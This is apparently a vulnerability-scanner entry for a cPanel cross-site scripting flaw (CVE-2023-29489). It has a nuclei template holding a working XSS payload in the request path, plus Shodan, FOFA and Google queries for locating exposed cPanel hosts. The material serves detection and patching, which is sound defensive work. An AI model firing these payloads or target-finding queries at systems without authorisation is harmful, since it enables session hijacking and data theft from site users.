cPanel < 11.109.9999.116 - Cross-Site Scripting

mediumseverity

6.1CVSS score

65.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by cPanel to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa ; GET {{BaseURL}}/cpanelwebcall/<><img%20src=x%20onerror="prompt(document.domain)">
Positive when: contains "<img src=x onerror=\"prompt(document.domain)\">aaaaaaaaaaaa" and "Invalid webcall ID:" AND status 400

Run it with nuclei: nuclei -id CVE-2023-29489 -u <target>

The full check

id: CVE-2023-29489

info:
  name: cPanel < 11.109.9999.116 - Cross-Site Scripting
  author: DhiyaneshDk,0xKayala
  severity: medium
  description: |
    An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by cPanel to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://forums.cpanel.net/threads/cpanel-tsr-2023-0001-full-disclosure.708949/
    - https://github.com/SynixCyberCrimeMy/CVE-2023-29489
    - https://github.com/learnerboy88/CVE-2023-29489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29489
    cwe-id: CWE-79
    epss-score: 0.65533
    epss-percentile: 0.9927
    cpe: cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cpanel
    product: cpanel
    shodan-query:
      - "title:\"cPanel\""
      - http.title:"cpanel"
      - cpe:"cpe:2.3:a:cpanel:cpanel"
      - http.title:"cpanel - api codes"
    fofa-query:
      - "title=\"cpanel - api codes\""
      - title="cpanel"
    google-query:
      - "intitle:\"cpanel - api codes\""
      - intitle:"cpanel"
  tags: cve,cve2023,cpanel,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'
      - '{{BaseURL}}/cpanelwebcall/<><img%20src=x%20onerror="prompt(document.domain)">'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
          - 'Invalid webcall ID:'
        condition: and

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from